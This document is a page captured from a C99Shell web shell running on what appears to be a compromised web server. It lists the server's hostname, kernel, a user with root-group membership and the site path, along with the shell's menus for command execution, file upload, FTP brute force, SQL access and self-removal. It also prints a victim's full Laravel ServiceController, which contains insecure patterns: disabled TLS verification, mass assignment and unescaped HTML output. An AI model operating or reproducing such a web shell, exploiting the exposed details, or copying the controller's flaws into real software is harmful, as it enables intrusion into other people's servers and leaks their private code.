!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ServiceController.php (6.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Service;
use 
Illuminate\Http\Request;

class 
ServiceController extends Controller
{
    public function 
index(){
        
$data['categories'] = auth()->user()->categories()->where('status','active')->get();
        
$data['providers'] = auth()->user()->providers()->get();
        
$data['serviceTypes'] = auth()->user()->service_types()->get();
        return 
view('admin.service.index',$data);
    }
    public  function 
store(Request $request){

        
$request->validate([
            
'name' => 'required',
            
'category_id' => 'required|numeric',
            
'mode' => 'required',
            
'min_order' => 'required|numeric',
            
'max_order' => 'required|numeric',
            
'rate_per' => 'required|numeric',
            
'description' => 'max:255',
            
'status'=>'required|in:active,inactive',
        ]);

        if(
$request->select_all && $request->select_all=='yes'){
            
$provider auth()->user()->providers()->where('id',$request->provider)->firstOrfail();
            
$parameters = [
                
'key' => $provider->api,
                
'action' => 'services',
            ];

            
$sending_url $provider->url;
            
$client = new \GuzzleHttp\Client(['verify' => false]);
            
$response $client->post($sending_url, [
                
'form_params' => $parameters,
            ]);

            
$responseString $response->getBody()->getContents();
            
$responseString=$responseString?json_decode($responseStringtrue):'';

            if(
$responseString){
                foreach(
$responseString as $data){
                    if(isset(
$data['rate']) && isset($data['name']) && $request->rate_percentage){

                        
$percentage_rate=($data['rate'] * $request->rate_percentage) / 100;

                        
$service=new Service();
                        
$service->name=isset($data['name'])?$data['name']:'';
                        
$service->category_id=$request->category_id;
                        
$service->mode=$request->mode;
                        
$service->provider=$request->provider;
                        
$service->original_rate_per=$request->original_rate_per;
                        
$service->min_order=$request->min_order;
                        
$service->max_order=$request->max_order;
                        
$service->rate_per=isset($data['rate'])?$data['rate'] + $percentage_rate:'';
                        
$service->description=$request->description;
                        
$service->status=$request->status;
                        
$service->admin_id=auth()->user()->id;
                        
$service->save();
                    }

                }
            }

            return 
back()->with('success''Service successfully created');

        }

        
auth()->user()->services()->create($request->all());



        return 
back()->with('success''Service successfully created');
    }
    public function 
getAll()
    {
        
$service auth()->user()->services()->with(['category','service_type'])->select(['id''name','category_id','mode','service_type_id','min_order','max_order','rate_per','description','status'])->orderByDesc('created_at');
        return 
datatables()->of($service)
            ->
addColumn('category', function (Service $q) {
                return isset(
$q->category)?ucfirst($q->category->name):'';
            })
            ->
addColumn('rate_per', function (Service $q) {
                return  
formatNumberWithCurrSymbol($q->rate_per);
            })
            ->
addColumn('service_type', function ($q) {
                return isset(
$q->service_type)?ucfirst($q->service_type->name):'';
            })
            ->
addColumn('mode', function ($q) {

                return isset(
$q->mode) ? ucfirst($q->mode) : '';
            })
            ->
addColumn('description', function ($q) {

                return isset(
$q->description) ? ucfirst($q->description) : '';
            })
            ->
addColumn('status', function ($q) {
                if(
$q->status=='active'){
                    
$status='<span class="badge bg-green">Active</span>';
                }else{
                    
$status='<span class="badge bg-danger">Inactive</span>';
                }
                return 
$status;
            })
            ->
addColumn('action',function($q){

                return 
'<button class="btn btn-sm btn-info mr-2 serviceEditModalLong"
                                        data-id="'
.$q->id.'"
                                        data-name="'
.$q->name.'"
                                        data-mode="'
.$q->mode.'"
                                        data-category-id="'
.$q->category_id.'"
                                        data-min_order="'
.$q->min_order.'"
                                        data-max_order="'
.$q->max_order.'"
                                        data-rate_per="'
.$q->rate_per.'"
                                        data-description="'
.$q->description.'"
                                        data-status="'
.$q->status.'"
                                        data-toggle="tooltip" data-placement="right" title="edit"><i class="fa fa-pencil-alt"></i></button>'
.
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this category?"
                                        data-action='
.route('admin.service.delete',['id'=>$q]).'
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" data-toggle="tooltip" data-placement="right" title="Delete"><i class="fa fa-times-circle"></i></button>' 
;
            })
            ->
rawColumns(['action','status'])
            ->
toJson();
    }
    public function 
update(Request $request){
        
$request->validate([
            
'id' => 'required|numeric',
            
'name' => 'required',
            
'category_id' => 'required|numeric',
            
'mode' => 'required',
            
'min_order' => 'required|numeric',
            
'max_order' => 'required|numeric',
            
'rate_per' => 'required|numeric',
            
'description' => 'max:255',
            
'status'=>'required|in:active,inactive',
        ]);
        
$service auth()->user()->services()->where('id',$request->id)->firstOrfail();
        
$service->update($request->all());

        return 
back()->with('success''Service successfully updated');
    }
    public function 
destroy(Request $request){
        
$service_type auth()->user()->services()->where('id',$request->id)->firstOrfail();
        
$service_type->delete();
        return 
back()->with('success''Service successfully deleted');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--